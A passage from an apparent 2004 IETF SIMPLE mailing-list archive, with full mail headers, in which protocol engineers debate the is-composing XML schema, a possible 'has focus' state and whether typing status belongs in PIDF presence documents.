>> the current schema to use an IANA-registered string, not the token 
>> list that's in the current schema. 
> 
> 
> You mean, change the schema for "status"? I would argue that this is a 
> separate state altogether, peer to "iscomposing".

Let me be more precise: Instead of the current schema of

    <xs:element name="isComposing">
       <xs:sequence>
         <xs:element name="status" type="tns:status"
           minOccurs="1"/>
          [...]

       </xs:sequence>
     </xs:element>

     <xs:simpleType name="status">
       <xs:restriction base="xs:string">
         <xs:enumeration value="active"/>
         <xs:enumeration value="idle"/>
       </xs:restriction>
     </xs:simpleType>

we'd have

   <xs:element name="isComposing">
       <xs:sequence>
         <xs:element name="status" type="xs:string"
           minOccurs="1"/>
         [...]
       </xs:sequence>
     </xs:element>


> 
> Indeed, one might argue that we could just define is-composing and 
> has-window-focus (or whatever) as pidf extensions, and just ship a pidf 
> document in the message body. We did conclude that sending this stuff 
> in-band in the message stream is a better idea than using a separate 
> presence subscription. Using PIDF means that a presence agent could say 
> something about my *general* availability for IM because of my status in 
> an IM session I have with someone else... just a thought....

Interesting possibility. This would be a kind of parallel to the 
draft-rosenberg-peterson-simple-pidf-phone-00 draft, just for IM-style 
devices.

Something like

<composing since="..." media="text">active</composing>

The advantage is that this would also allow to convey this easily to 
third parties, via PIDF subscription.

> 
> -Jonathan R.
> 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 09:03:01 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21556
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 09:03:01 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nFB-0008Sh-2m
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 09:02:33 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2CE2XKw032527
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 09:02:33 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nFA-0008SY-W5
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 09:02:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21541
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 09:02:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nF9-0007eG-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 09:02:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nEF-0007Xb-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 09:01:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nDo-0007Ql-00; Fri, 12 Mar 2004 09:01:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nDi-0008Ld-Ua; Fri, 12 Mar 2004 09:01:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nDM-0008Hy-N4
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 09:00:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21434
	for <simple@ietf.org>; Fri, 12 Mar 2004 09:00:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nDL-0007Pc-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:00:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nCV-0007IF-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:59:47 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nBv-00079b-00
	for simple@ietf.org; Fri, 12 Mar 2004 08:59:11 -0500
Received: from bear.cs.columbia.edu (IDENT:PMUkFvTt/+sUIodQqEuBmZL+uugnqRXB@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2CDv8NC007423
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Fri, 12 Mar 2004 08:57:08 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2CDv7fG024209
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Fri, 12 Mar 2004 08:57:08 -0500
Message-ID: <4051C1AF.6030008@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com>
In-Reply-To: <40514CE7.7080907@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 08:57:03 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:

> 
> 
> Henning Schulzrinne wrote:
> 
>> We can indeed add more states later, but then probably should change 
>> the current schema to use an IANA-registered string, not the token 
>> list that's in the current schema. 
> 
> 
> You mean, change the schema for "status"? I would argue that this is a 
> separate state altogether, peer to "iscomposing".

Let me be more precise: Instead of the current schema of

    <xs:element name="isComposing">
       <xs:sequence>
         <xs:element name="status" type="tns:status"
           minOccurs="1"/>
          [...]

       </xs:sequence>
     </xs:element>

     <xs:simpleType name="status">
       <xs:restriction base="xs:string">
         <xs:enumeration value="active"/>
         <xs:enumeration value="idle"/>
       </xs:restriction>
     </xs:simpleType>

we'd have

   <xs:element name="isComposing">
       <xs:sequence>
         <xs:element name="status" type="xs:string"
           minOccurs="1"/>
         [...]
       </xs:sequence>
     </xs:element>


> 
> Indeed, one might argue that we could just define is-composing and 
> has-window-focus (or whatever) as pidf extensions, and just ship a pidf 
> document in the message body. We did conclude that sending this stuff 
> in-band in the message stream is a better idea than using a separate 
> presence subscription. Using PIDF means that a presence agent could say 
> something about my *general* availability for IM because of my status in 
> an IM session I have with someone else... just a thought....

Interesting possibility. This would be a kind of parallel to the 
draft-rosenberg-peterson-simple-pidf-phone-00 draft, just for IM-style 
devices.

Something like

<composing since="..." media="text">active</composing>

The advantage is that this would also allow to convey this easily to 
third parties, via PIDF subscription.

> 
> -Jonathan R.
> 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 09:51:31 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24607
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 09:51:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1o0a-0007TP-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 09:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nzd-0007NH-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 09:50:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nzJ-0007H6-00; Fri, 12 Mar 2004 09:50:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nzB-0003xs-2N; Fri, 12 Mar 2004 09:50:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nyg-0003wY-Rq
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 09:49:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24579
	for <simple@ietf.org>; Fri, 12 Mar 2004 09:49:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nye-0007Gf-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:49:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nxn-0007AW-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:48:40 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nxT-00073C-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:48:19 -0500
Received: from dynamicsoft.com ([63.113.46.15])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2CEljNr017254;
	Fri, 12 Mar 2004 09:47:45 -0500 (EST)
Message-ID: <4051CD87.9040107@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu>
In-Reply-To: <4051C1AF.6030008@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 09:47:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>>
>>
>> Henning Schulzrinne wrote:
>>
>>> We can indeed add more states later, but then probably should change 
>>> the current schema to use an IANA-registered string, not the token 
>>> list that's in the current schema. 
>>
>>
>>
>> You mean, change the schema for "status"? I would argue that this is a 
>> separate state altogether, peer to "iscomposing".
> 
> 
> Let me be more precise: Instead of the current schema of
> 
>    <xs:element name="isComposing">
>       <xs:sequence>
>         <xs:element name="status" type="tns:status"
>           minOccurs="1"/>
>          [...]
> 
>       </xs:sequence>
>     </xs:element>
> 
>     <xs:simpleType name="status">
>       <xs:restriction base="xs:string">
>         <xs:enumeration value="active"/>
>         <xs:enumeration value="idle"/>
>       </xs:restriction>
>     </xs:simpleType>
> 
> we'd have
> 
>   <xs:element name="isComposing">
>       <xs:sequence>
>         <xs:element name="status" type="xs:string"
>           minOccurs="1"/>
>         [...]
>       </xs:sequence>
>     </xs:element>
> 

OK, except I see "has focus" as being orthogonal to is-composing, so I'd 
think you'd want both.

> 
>>
>> Indeed, one might argue that we could just define is-composing and 
>> has-window-focus (or whatever) as pidf extensions, and just ship a 
>> pidf document in the message body. We did conclude that sending this 
>> stuff in-band in the message stream is a better idea than using a 
>> separate presence subscription. Using PIDF means that a presence agent 
>> could say something about my *general* availability for IM because of 
>> my status in an IM session I have with someone else... just a thought....
> 
> 
> Interesting possibility. This would be a kind of parallel to the 
> draft-rosenberg-peterson-simple-pidf-phone-00 draft, just for IM-style 
> devices.

Similar, yes.

> 
> Something like
> 
> <composing since="..." media="text">active</composing>
> 
> The advantage is that this would also allow to convey this easily to 
> third parties, via PIDF subscription.

Yes, that was the idea.

I'm on the fence on this one. The state is really dynamic, and its not 
clear how useful for me, or anyone else, it would be to know that you 
are currently typing an IM to someone else. Indeed, its far from clear 
that even if I did know, would this impact your availability to receive 
another IM? Not clear.

Another question is authorization. Do we ever think anyone would 
authorize a third party to see their is-typing indicators? Or that we 
would expect a PUA to publish them to a PA?

Another drawback is that the pidf document is larger than a simpler 
is-composing format, though not by much I suppose.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 09:52:02 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24628
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 09:52:02 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1o0c-000455-V2
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 09:51:34 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2CEpY26015681
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 09:51:34 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1o0c-00044q-Pf
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 09:51:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24624
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 09:51:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1o0a-0007TU-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 09:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nze-0007NO-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 09:50:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nzJ-0007H6-00; Fri, 12 Mar 2004 09:50:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nzB-0003xs-2N; Fri, 12 Mar 2004 09:50:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1nyg-0003wY-Rq
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 09:49:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24579
	for <simple@ietf.org>; Fri, 12 Mar 2004 09:49:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nye-0007Gf-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:49:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1nxn-0007AW-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:48:40 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1nxT-00073C-00
	for simple@ietf.org; Fri, 12 Mar 2004 09:48:19 -0500
Received: from dynamicsoft.com ([63.113.46.15])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2CEljNr017254;
	Fri, 12 Mar 2004 09:47:45 -0500 (EST)
Message-ID: <4051CD87.9040107@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu>
In-Reply-To: <4051C1AF.6030008@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 09:47:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> 
> 
> Jonathan Rosenberg wrote:
> 
>>
>>
>> Henning Schulzrinne wrote:
>>
>>> We can indeed add more states later, but then probably should change 
>>> the current schema to use an IANA-registered string, not the token 
>>> list that's in the current schema. 
>>
>>
>>
>> You mean, change the schema for "status"? I would argue that this is a 
>> separate state altogether, peer to "iscomposing".
> 
> 
> Let me be more precise: Instead of the current schema of
> 
>    <xs:element name="isComposing">
>       <xs:sequence>
>         <xs:element name="status" type="tns:status"
>           minOccurs="1"/>
>          [...]
> 
>       </xs:sequence>
>     </xs:element>
> 
>     <xs:simpleType name="status">
>       <xs:restriction base="xs:string">
>         <xs:enumeration value="active"/>
>         <xs:enumeration value="idle"/>
>       </xs:restriction>
>     </xs:simpleType>
> 
> we'd have
> 
>   <xs:element name="isComposing">
>       <xs:sequence>
>         <xs:element name="status" type="xs:string"
>           minOccurs="1"/>
>         [...]
>       </xs:sequence>
>     </xs:element>
> 

OK, except I see "has focus" as being orthogonal to is-composing, so I'd 
think you'd want both.

> 
>>
>> Indeed, one might argue that we could just define is-composing and 
>> has-window-focus (or whatever) as pidf extensions, and just ship a 
>> pidf document in the message body. We did conclude that sending this 
>> stuff in-band in the message stream is a better idea than using a 
>> separate presence subscription. Using PIDF means that a presence agent 
>> could say something about my *general* availability for IM because of 
>> my status in an IM session I have with someone else... just a thought....
> 
> 
> Interesting possibility. This would be a kind of parallel to the 
> draft-rosenberg-peterson-simple-pidf-phone-00 draft, just for IM-style 
> devices.

Similar, yes.

> 
> Something like
> 
> <composing since="..." media="text">active</composing>
> 
> The advantage is that this would also allow to convey this easily to 
> third parties, via PIDF subscription.

Yes, that was the idea.

I'm on the fence on this one. The state is really dynamic, and its not 
clear how useful for me, or anyone else, it would be to know that you 
are currently typing an IM to someone else. Indeed, its far from clear 
that even if I did know, would this impact your availability to receive 
another IM? Not clear.

Another question is authorization. Do we ever think anyone would 
authorize a third party to see their is-typing indicators? Or that we 
would expect a PUA to publish them to a PA?

Another drawback is that the pidf document is larger than a simpler 
is-composing format, though not by much I suppose.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 12 10:13:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26491
	for <simple-archive@ietf.org>; Fri, 12 Mar 2004 10:13:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oM1-0002n6-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 10:13:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oL0-0002fh-00
	for simple-archive@ietf.org; Fri, 12 Mar 2004 10:12:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oKU-0002Yj-00; Fri, 12 Mar 2004 10:12:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oKP-0000tN-GP; Fri, 12 Mar 2004 10:12:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oJw-0000lW-6m
	for simple@optimus.ietf.org; Fri, 12 Mar 2004 10:11:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26270
	for <simple@ietf.org>; Fri, 12 Mar 2004 10:11:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oJt-0002XF-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:11:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oIx-0002Ph-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:10:31 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oI1-0002CR-00
	for simple@ietf.org; Fri, 12 Mar 2004 10:09:33 -0500
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2CF90aD020725;
	Fri, 12 Mar 2004 07:09:01 -0800 (PST)
Received: from cisco.com ([161.44.79.239])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGS78048;
	Fri, 12 Mar 2004 10:08:59 -0500 (EST)
Message-ID: <4051D289.70907@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 12 Mar 2004 10:08:57 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Henning Schulzrinne wrote:
> 
>> Indeed, one might argue that we could just define is-composing and 
>> has-window-focus (or whatever) as pidf extensions, and just ship a 
>> pidf document in the message body. We did conclude that sending this 
>> stuff in-band in the message stream is a better idea than using a 
>> separate presence subscription. Using PIDF means that a presence agent 
>> could say something about my *general* availability for IM because of 
>> my status in an IM session I have with someone else... just a thought....
> 
> Interesting possibility. This would be a kind of parallel to the 
> draft-rosenberg-peterson-simple-pidf-phone-00 draft, just for IM-style 
> devices.

This is sort of interesting. But I do think there is an important 
difference. In presence, is-composing will presumably be generic. But in 
the context of a message session I really want is-composing to mean that 
a message is being composed for sending within this session.

Often with I see such a status I just wait for a message rather than 
sending a message myself. The status would be much less useful it it 
weren't that specific. I might be sitting there waiting for your message 
while you are busy chatting with your kids.

> Something like
> 
> <composing since="..." media="text">active</composing>
> 
> The advantage is that this would also allow to convey this easily to 
> third parties, via PIDF subscription.

So, I think the pidf extension would be useful in any case, but it might 
not be the right thing here.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 12 10:14:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26551
	for <simple-archive@odin.ietf.org>; Fri, 12 Mar 2004 10:14:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oM4-0001aF-PJ
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 10:13:44 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2CFDigr006081
	for simple-archive@odin.ietf.org; Fri, 12 Mar 2004 10:13:44 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oM4-0001a0-KF
	for simple-web-archive@optimus.ietf.org; Fri, 12 Mar 2004 10:13:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26501
	for <simple-web-archive@ietf.org>; Fri, 12 Mar 2004 10:13:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oM2-0002nB-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 10:13:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B1oL1-0002fo-00
	for simple-web-archive@ietf.org; Fri, 12 Mar 2004 10:12:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B1oKU-0002Yj-00; Fri, 12 Mar 2004 10:12:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B1oKP-0000tN-GP; Fri, 12 Mar 2004 10:12:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
